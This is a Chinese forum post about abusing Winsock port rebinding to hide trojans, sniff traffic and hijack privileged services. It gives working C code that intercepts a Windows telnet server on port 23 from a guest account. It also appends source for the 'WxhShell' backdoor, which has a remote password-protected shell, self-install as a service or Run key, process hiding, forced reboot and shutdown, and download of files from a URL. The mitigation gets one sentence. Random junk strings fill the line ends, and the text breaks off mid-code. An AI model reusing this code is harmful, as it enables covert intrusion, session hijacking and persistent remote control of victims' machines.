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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s<QkDERMX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w|Cx>8P8@  
"?}uQ5f  
  saddr.sin_family = AF_INET; _ Y2 U7W  
kQ>^->w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AC%JC+  
MHj,<|8Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |pZUlQbb  
m"2d$vro"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (K..k-o`.  
afEF]i  
  这意味着什么?意味着可以进行如下的攻击: 1`bl&}6l|E  
I s57F4[}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _s.;eHp,  
 \[:/CxP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m}j:nk  
dR^"X3$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I~* ? d  
( <*e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  El2e~l9  
BHFY%6J!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {r85l\u)Q\  
v}JD2.O+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yzsab ^]  
+/{L#e>   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6i@\5}m=  
"B7`'jz  
  #include -Sv"gLB  
  #include o :q1beU  
  #include ShOX<Fb&  
  #include    T(?HMyg3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bO5k6i  
  int main() Ddju~510  
  { 25y6a|`  
  WORD wVersionRequested; Ucw yxX I  
  DWORD ret; @Yw,nQE)b  
  WSADATA wsaData; `\u;K9S6  
  BOOL val; G bP!9I  
  SOCKADDR_IN saddr; tiPa6tQ  
  SOCKADDR_IN scaddr; E-5_{sc  
  int err; E ]9\R  
  SOCKET s; F/c$v  
  SOCKET sc; (@0O   
  int caddsize; 'T=~jA7SkT  
  HANDLE mt; ./6<r OW  
  DWORD tid;   0C%W&;r0  
  wVersionRequested = MAKEWORD( 2, 2 ); AV8T  
  err = WSAStartup( wVersionRequested, &wsaData ); 6vKS".4C  
  if ( err != 0 ) { o]n!(f<(*  
  printf("error!WSAStartup failed!\n"); g| <wyt[  
  return -1; Fm_y&7._  
  } FCj{AD  
  saddr.sin_family = AF_INET; &;TJ~r#K  
   ti5HrKIw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F^$led1/F  
MxQ?Sb%Gka  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [4&#*@  
  saddr.sin_port = htons(23); !5@_j,lW(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Os%n{_#8  
  { qml2XJ>  
  printf("error!socket failed!\n"); =DbY?Q<Q  
  return -1; `/&SxQB<  
  } Z;Rp+ X  
  val = TRUE; pv!oz2w1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [%A4]QzWh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?(6mVyIe  
  { U:6W+p8  
  printf("error!setsockopt failed!\n"); 5+Mdh`  
  return -1; \VMD$zZx  
  } tMx}*l|]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q;Wj?8}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [Qt?W gPj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pE.PX 8  
-5l6&Y   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lfsqC};#\  
  { Scm36sT{  
  ret=GetLastError(); qm*}U3K  
  printf("error!bind failed!\n"); .9[45][FK  
  return -1; %6%<?jZ  
  } W/ay.I  
  listen(s,2); 8e~|.wOL  
  while(1) g?v\!/~(u  
  { &ZHC-qMRK  
  caddsize = sizeof(scaddr); AdZ;j6#  
  //接受连接请求 s pLZ2]A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |WryBzZ>on  
  if(sc!=INVALID_SOCKET) nwt C:*}  
  { 1_'? JfY-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jVgFZ,  
  if(mt==NULL) X6+qpp  
  { 1'v5/   
  printf("Thread Creat Failed!\n"); =VLS/\A  
  break; ^vs=f 95  
  } ^-CINt{O  
  } f ).1]~  
  CloseHandle(mt); iTh:N2/-vc  
  } [L $9p@I  
  closesocket(s); ^I6^g  
  WSACleanup(); zjL.Bhiud  
  return 0; V==z"  
  }   SHb(O<6  
  DWORD WINAPI ClientThread(LPVOID lpParam) I:V0Xxz5t  
  { 60=m  
  SOCKET ss = (SOCKET)lpParam; >evS} O6  
  SOCKET sc; qH,l#I\CG  
  unsigned char buf[4096]; R =Ws#'  
  SOCKADDR_IN saddr; Nr<`Z  
  long num; mnk"Vr` L  
  DWORD val; { x0t  
  DWORD ret; 6C4'BCYW(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L%}zVCg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e}VBRvr  
  saddr.sin_family = AF_INET; u,3,ck!B>@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s#Jh -+lM  
  saddr.sin_port = htons(23); :HxA`@Ok  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -F"Q EL#  
  { e pCLM_yA  
  printf("error!socket failed!\n"); x.0p%O=`  
  return -1; j/T>2|dA&  
  } (}r|yE  
  val = 100; mV73 \P6K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4Tc&IwR  
  { Zc |/{$>:W  
  ret = GetLastError(); CBQhIvq.d  
  return -1; ik|-L8  
  } 7+TiyY]K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "N:XzG  
  { $uui:wU%Q  
  ret = GetLastError(); yL^UE=#C_  
  return -1; +`M!D }!  
  } LWsP ya  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ']- @? sD$  
  { CxhY$%C (L  
  printf("error!socket connect failed!\n"); d8SE,A&  
  closesocket(sc); m\>a,oZH  
  closesocket(ss); rKHY?{!  
  return -1; Fhz*&JC#  
  } }ZSQ>8a  
  while(1) ffXyc2o  
  { MaBYk?TR~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vkS)E0s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `I$<S(h 7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C.^Ven  
  num = recv(ss,buf,4096,0); +t4BQf  
  if(num>0) {k.MS-q  
  send(sc,buf,num,0); 2-zT$`[]J  
  else if(num==0) V]c;^  
  break; KD1=Y80P  
  num = recv(sc,buf,4096,0); _mS!XF~`P  
  if(num>0) }),w1/#5u8  
  send(ss,buf,num,0); 9%ii '{  
  else if(num==0) FEPXuCb  
  break; Glq85S  
  } ]nQt>R p_  
  closesocket(ss); r!P}u  
  closesocket(sc); 2>-S-;i  
  return 0 ; o47r<>t  
  } RO0>I8c1c  
3Y)PU=  
S0g'r !;6  
========================================================== @ DZD  
O9'x -A%  
下边附上一个代码,,WXhSHELL ; UiwH  
ri C[lB  
========================================================== N4;7gSc"  
! / y!QXj  
#include "stdafx.h" @`-[;?>  
6OiSK@<Hk  
#include <stdio.h> Iu~\L0R427  
#include <string.h> gef6pfV  
#include <windows.h>  `G1&Z]z  
#include <winsock2.h> !|2VWI}  
#include <winsvc.h> .t&R>9cZ^  
#include <urlmon.h> S~qZr  
x 5dWBGH  
#pragma comment (lib, "Ws2_32.lib") P3 c\S[F  
#pragma comment (lib, "urlmon.lib") <]C$xp<2  
Nf3.\eR  
#define MAX_USER   100 // 最大客户端连接数 % |q0-x  
#define BUF_SOCK   200 // sock buffer G>YAJ o  
#define KEY_BUFF   255 // 输入 buffer (vR 9H(#  
<?D[9Mk$  
#define REBOOT     0   // 重启 I fO;S*Qt  
#define SHUTDOWN   1   // 关机 *F>v]8  
vN4Qdpdb  
#define DEF_PORT   5000 // 监听端口 30PZ{c&Rll  
1tCQpf  
#define REG_LEN     16   // 注册表键长度 H7+X&#s%  
#define SVC_LEN     80   // NT服务名长度 (F7_S*  
iFSJL,QZ3  
// 从dll定义API 5_0(D;Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @ P@c.*}s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %pu Lr'Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DlMe5=n -u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #X: 'aj98  
D3Jr3 %>  
// wxhshell配置信息 53HU.  
struct WSCFG { x?x`oirh  
  int ws_port;         // 监听端口 M >:]lpRK  
  char ws_passstr[REG_LEN]; // 口令 Ub0/r$]DK  
  int ws_autoins;       // 安装标记, 1=yes 0=no $(s\{(Wn  
  char ws_regname[REG_LEN]; // 注册表键名 J" j.'.  
  char ws_svcname[REG_LEN]; // 服务名 c8)/:xxl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |vte=)%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8$|8`;I(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 " "O"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `<^VR[Mx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K.C> a:J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0.r4f'vk  
0s#vwK13  
}; }MR1^  
7;.xc{  
// default Wxhshell configuration [w -{r+[  
struct WSCFG wscfg={DEF_PORT, oMcK`%ydm  
    "xuhuanlingzhe", gADmN8G=  
    1, sGY_{CZ:  
    "Wxhshell", k>}g\a,  
    "Wxhshell", w.Ezg j  
            "WxhShell Service", N-lGa@ j  
    "Wrsky Windows CmdShell Service", 6*9}4`  
    "Please Input Your Password: ", h :Xz UxL\  
  1, )PkNWj6%y  
  "http://www.wrsky.com/wxhshell.exe", Xf =XBoN|  
  "Wxhshell.exe" H-rWDN#  
    }; |6J ?8y  
PI A)d-Z  
// 消息定义模块 4vK8kkW1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GwsY-jf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HhA -[p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |VOg\[f  
char *msg_ws_ext="\n\rExit."; D+V7hpH-  
char *msg_ws_end="\n\rQuit."; A]`El8_t"  
char *msg_ws_boot="\n\rReboot..."; })vOaYT|-  
char *msg_ws_poff="\n\rShutdown..."; !.7udYmB  
char *msg_ws_down="\n\rSave to "; @/ J [t  
`&M{cfp_  
char *msg_ws_err="\n\rErr!"; ,~ ?'Ef80  
char *msg_ws_ok="\n\rOK!"; O <9~Kgd8h  
AJt!!crs  
char ExeFile[MAX_PATH]; nM=e]qH  
int nUser = 0; Y**|N8e  
HANDLE handles[MAX_USER]; QH4wUU3X  
int OsIsNt; a\kb^D=T  
HQ!Xj .y  
SERVICE_STATUS       serviceStatus; puSLqouTM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fQWIw  
< (RC|?  
// 函数声明 x+? 9C  
int Install(void); 1rw0sAuGy  
int Uninstall(void); W]<$0  
int DownloadFile(char *sURL, SOCKET wsh); K.tlo^#^B[  
int Boot(int flag); "Z,q?Fc  
void HideProc(void); J?)RfK|!  
int GetOsVer(void); LCXO>MXN  
int Wxhshell(SOCKET wsl); ZZ/cq:3$P  
void TalkWithClient(void *cs); @#+jMV$g  
int CmdShell(SOCKET sock); p\wJD1s  
int StartFromService(void); lM\LN^f5*  
int StartWxhshell(LPSTR lpCmdLine); MgnM,95  
KHKS$D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q^8EOAvnZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XA0 (f*  
78n}rT%k1  
// 数据结构和表定义 3HG;!D~m;  
SERVICE_TABLE_ENTRY DispatchTable[] = y-?>*fN o  
{ 2J;`m_oP  
{wscfg.ws_svcname, NTServiceMain}, @$Qof1j'%  
{NULL, NULL} mOll5O7VW  
}; fbrp#G71y  
(A k\Lm  
// 自我安装 ,zcQS-e2  
int Install(void) lw8"'0  
{ m:tiY [c>W  
  char svExeFile[MAX_PATH]; b yg0.+e0  
  HKEY key; Gtv,Izt  
  strcpy(svExeFile,ExeFile); RR1A65B  
J}spiVM  
// 如果是win9x系统,修改注册表设为自启动 <Pqv;WI|R  
if(!OsIsNt) { Pvo#pY^dXX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h>S[^ -,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7&}P{<}o^  
  RegCloseKey(key); @z6!a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i;\s.wrzH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WiNT;v[  
  RegCloseKey(key); PL0`d`TI  
  return 0; B,$l4m4  
    } &znH!AQ0  
  } HgBJf~q~U  
} wyc D>hc  
else { )\/ =M*  
$*MCU nl  
// 如果是NT以上系统,安装为系统服务 2)iD4G`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3{raKM6F  
if (schSCManager!=0) !&kL9A).  
{ (Ha@s^?.C  
  SC_HANDLE schService = CreateService UyYfpL"$A"  
  ( _cJ[ FP1  
  schSCManager, qcB){p+UQ  
  wscfg.ws_svcname, ,a|@d} U  
  wscfg.ws_svcdisp, hp!d/X=J_  
  SERVICE_ALL_ACCESS, iCG`3(xL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =?@Q -(bp  
  SERVICE_AUTO_START, khd5 Cf[   
  SERVICE_ERROR_NORMAL, 'aJgLws*w  
  svExeFile, Lrz3   
  NULL,  ~m=EM;  
  NULL, I\P Bu$Ww  
  NULL, 2F_ R/{D  
  NULL, ?v]-^X=&  
  NULL rp! LP#*  
  ); O0~vf[i];  
  if (schService!=0) mxTk+j=  
  { Ry;$^.7%  
  CloseServiceHandle(schService); qV1O-^&[f=  
  CloseServiceHandle(schSCManager); O_@2;iD^^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T(X:Yw  
  strcat(svExeFile,wscfg.ws_svcname); -mNQ;zI1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IY(h~O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `{<frB@  
  RegCloseKey(key); 4z4v\IpB  
  return 0; o.:p_(|hI  
    } ~GB=Nz  
  } 85U.wpG  
  CloseServiceHandle(schSCManager); _"f  :`  
} 'E]A.3-Mt  
} Ng<1Sd|MV  
:{g7lTM  
return 1; g#^|oYuH6  
} /F[+13C  
`_AM` >_  
// 自我卸载 0LVE@qEL  
int Uninstall(void) 0A$SYF$O+[  
{ oN2=DYC41  
  HKEY key; i S p  
CDg AGy  
if(!OsIsNt) { 60B-ay0e$b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nnCug  
  RegDeleteValue(key,wscfg.ws_regname); Bt~s*{3$8  
  RegCloseKey(key); ``4wX-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +H'\3^C-  
  RegDeleteValue(key,wscfg.ws_regname); *_hLD5K!  
  RegCloseKey(key); WO</Q6+  
  return 0; DQ6jT@ZDH  
  } a0_(eO-S  
} )*1.eObhL  
} XF,<i1ZlM  
else { *K!++k!Ixa  
1$LIpx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tm)*2lH6  
if (schSCManager!=0) ~t/JCxa  
{ Hhv$4;&X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q^Tis>*u6  
  if (schService!=0) -WR}m6yMr  
  { NrJzVGeS  
  if(DeleteService(schService)!=0) { iyM^[/-R6  
  CloseServiceHandle(schService); /A(NuB<Pq  
  CloseServiceHandle(schSCManager); w+UV"\!G)Q  
  return 0; h8}8Lp(/'  
  } g'lT  
  CloseServiceHandle(schService); 8OAg~mQ15(  
  } H~9=&p[Q  
  CloseServiceHandle(schSCManager); ?b$3ob"  
} =Sxol>?t  
} #s"B-sWE  
#}o<v|;  
return 1; 'Ji+c  
} R_e)mkE  
g()m/KS<  
// 从指定url下载文件 xPQL?.  
int DownloadFile(char *sURL, SOCKET wsh) jXIEp01  
{ p5*lEz|$  
  HRESULT hr; =7jEz+w#  
char seps[]= "/"; l1-HO  
char *token; qi=3L  
char *file; :c4kBl%gJ  
char myURL[MAX_PATH]; kV)' a  
char myFILE[MAX_PATH]; Fj=NiZ=  
 (K #A  
strcpy(myURL,sURL); f!g<3X{=  
  token=strtok(myURL,seps); rihlae5Kz  
  while(token!=NULL) tV`&- H  
  { Pz473d  
    file=token; J?jeYW   
  token=strtok(NULL,seps); :R+],m il  
  } \C/z%Hf7-  
g _ M-F  
GetCurrentDirectory(MAX_PATH,myFILE); 6E+=Xi  
strcat(myFILE, "\\"); &BgU:R,  
strcat(myFILE, file); 0|C[-ppr  
  send(wsh,myFILE,strlen(myFILE),0); 7%CIt?Z%  
send(wsh,"...",3,0); `"Dy%&U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gMZ&,n4  
  if(hr==S_OK) u%opY<h  
return 0; dF,DiRD  
else i$O#%12l  
return 1; XiG88Kwv  
<xF?~7  
} `pYE[y+  
N(R,8GF5G  
// 系统电源模块 H1Xovr  
int Boot(int flag) ,OB&nN t>  
{ Nmf#`+7gCI  
  HANDLE hToken; <nA3Sd"QfV  
  TOKEN_PRIVILEGES tkp; AQ}l%  
3wNN<R  
  if(OsIsNt) { 4(m3c<'P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SJ(9rhB5*.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {HuLuP 0t  
    tkp.PrivilegeCount = 1; @,vv\M0)p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OK\]*r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M(S{1|,V  
if(flag==REBOOT) { Y n>{4BZ>#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6D^%'[4t  
  return 0; r}@< K  
} ~ 7BX@?  
else { Qa?Q bHc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fe4esg-B<  
  return 0; w4}(Ab<Y  
} >@Khm"/T  
  } JS2!)aqc  
  else { {G.{a d  
if(flag==REBOOT) { 6QptKXu7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EG1x  
  return 0; YPQCOG  
} ~%GSsm\J  
else {  * D3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w{ m#Yt  
  return 0; 4H9xO[iM  
} K z^hQd  
} h>Rpb#]  
6cZ  C  
return 1; HjPH  
} L4mTs-M.  
hGKdGu`0  
// win9x进程隐藏模块 .Bijc G  
void HideProc(void) "b;k.Fx  
{ Q2R>lzB  
s.e y!ew  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [r~~=b7*[  
  if ( hKernel != NULL )  RA~_]Hk  
  { F~P/*FFK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;@O(z*14@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %w%zv2d  
    FreeLibrary(hKernel); ,,2_/u\"/i  
  } qZc)Sa.S  
Ot"(uW4$[  
return; dK7 ^  
} 8Nv-/VQ/b  
,dq`EsHg`M  
// 获取操作系统版本 {&b-}f"m  
int GetOsVer(void) ^)'||Ly  
{ ,DQ >&_DK  
  OSVERSIONINFO winfo; ],#ZPUn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z~B+*HF  
  GetVersionEx(&winfo); 1r&AB!Z #  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IT7:QEfKU  
  return 1; PE +qYCpP9  
  else )%1&/uN)  
  return 0; M{y|7e%K  
} P:vX }V |[  
gGD]t;<u  
// 客户端句柄模块 !-@SS>  
int Wxhshell(SOCKET wsl) wf^cyCR0  
{ _4De!q0(  
  SOCKET wsh; lHRK'? Q  
  struct sockaddr_in client; ^&e;8d|f{  
  DWORD myID; T&e%/  
DOA[iT";4  
  while(nUser<MAX_USER) 1W4H-/Re  
{ %0go%_  
  int nSize=sizeof(client); P}b Dn;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \>_eEZ5  
  if(wsh==INVALID_SOCKET) return 1; <kk'v'GW@  
72% {Wh/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~9]Vy (L  
if(handles[nUser]==0) + >Fv*lux  
  closesocket(wsh); j= p|'`  
else DDZTqsws  
  nUser++; qRWJ-T:!F  
  } FxMMxY,*%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S:DcfR=a  
+ 4++Z  
  return 0; d u _O}x  
} vHoT@E#}'  
6YB-}>?  
// 关闭 socket ~6=Wq64  
void CloseIt(SOCKET wsh) %,h!: Ec^c  
{ ~p0 e=u  
closesocket(wsh); XP3QBq  
nUser--; "4k"U1  
ExitThread(0); oTZo[T@zRx  
} hlt9x.e.A  
lb=2*dFJ1  
// 客户端请求句柄 h6K!|-Gq.  
void TalkWithClient(void *cs) 6B4hSqjh  
{ s$eK66H  
D]3bwoFo&u  
  SOCKET wsh=(SOCKET)cs; NO%|c|B|  
  char pwd[SVC_LEN]; nau~i1  
  char cmd[KEY_BUFF]; zV9 =  
char chr[1]; Ji)%Y5F  
int i,j; P DNt4=C  
vWZ>Hf]`L  
  while (nUser < MAX_USER) { _ +u sn.  
K7YT0cG  
if(wscfg.ws_passstr) { )[F46?$vrk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jLpgWt`8)E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xUV_2n+  
  //ZeroMemory(pwd,KEY_BUFF); gogl[gHO  
      i=0; U!3uaz'  
  while(i<SVC_LEN) { &^"s=g.  
+A;n*DF2  
  // 设置超时 ) >-D={  
  fd_set FdRead; K]lb8q}Z~  
  struct timeval TimeOut; ixoMccU0  
  FD_ZERO(&FdRead); zSX'  
  FD_SET(wsh,&FdRead); <[*h_gE5  
  TimeOut.tv_sec=8; ;5zjd,  
  TimeOut.tv_usec=0; pO@k@JZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0$Qn#K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {3_Ffsg`  
j@!BOL~?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c9>8IW  
  pwd=chr[0]; E0WrpGZ  
  if(chr[0]==0xd || chr[0]==0xa) { 1D#T+t`[  
  pwd=0; 2\kC_o97  
  break; VhJyWH%(  
  } 6Vu}k K)  
  i++; hv_pb#1Ks  
    } g%KGF)+H  
5G dY7t_1  
  // 如果是非法用户,关闭 socket htNL2N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @p?b"?QaB  
} 3(XHF3q  
[v>Z(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Al;%u0]5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q)7L^  
{g23[$X]N  
while(1) { I{Y {  
kM}ic(K  
  ZeroMemory(cmd,KEY_BUFF); QZz{74]n  
TWD|1 di0  
      // 自动支持客户端 telnet标准   /;]B1T7  
  j=0; JCQx8;V%I  
  while(j<KEY_BUFF) { >"m@qkh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D|8sjp4  
  cmd[j]=chr[0]; uH~ TugQ~  
  if(chr[0]==0xa || chr[0]==0xd) { +A.a~Stt  
  cmd[j]=0; @8x6#|D  
  break; 3e!a>Gl*  
  } 6kmZ!9w0|  
  j++; 8/kx3  
    } HT1dvC$COo  
LmT[N@>"  
  // 下载文件 8{U]ATx'(  
  if(strstr(cmd,"http://")) { 6O[wVaC1u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A(_^_p.|  
  if(DownloadFile(cmd,wsh)) av| 6r#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'@lg*^9  
  else : p*ojl|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E?;T:7.%  
  } _sCJ3ZJ  
  else { Wtzj;GJj  
$=S'#^Z  
    switch(cmd[0]) { cVv4gQD\  
  (tz_D7c$F  
  // 帮助 d >wmg*J  
  case '?': { xSMp[j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SBYMDKZ  
    break; WEY97_@  
  } p7ns(g@9  
  // 安装 W@uH!n>k  
  case 'i': { 9^[5!SMzCj  
    if(Install()) 0;m$a=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9l.i@-  
    else  h(N 9RJ}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J=Y( *D7Q  
    break; [?K\%]  
    } zi DlJ3]^  
  // 卸载 { "@b`  
  case 'r': { ;Kd{h  
    if(Uninstall()) "a%ASy>?g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M b /X@51  
    else $'mB8 S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ubos#hP  
    break; Xxsnpb>  
    } #Ot*jb1  
  // 显示 wxhshell 所在路径 R*TGn_J`  
  case 'p': { /B#lju!  
    char svExeFile[MAX_PATH]; *~lgU4  
    strcpy(svExeFile,"\n\r"); )DZ-vnZ#t0  
      strcat(svExeFile,ExeFile); ?3E_KGI  
        send(wsh,svExeFile,strlen(svExeFile),0); tX`[6`  
    break; i[BR(D&l_p  
    } _XO)`D~  
  // 重启 Cx3m\ \c  
  case 'b': { YO!7D5rV#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F~rY jAFTi  
    if(Boot(REBOOT)) RNrYT|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ek.WuOs  
    else { aSj1P/A  
    closesocket(wsh); hhgz=7Y  
    ExitThread(0); gp&& c,  
    } \eSk7C  
    break; Hpo?|;3D5  
    } }+RF~~H/  
  // 关机 oJ;O>J@c  
  case 'd': { {uQ)p=  
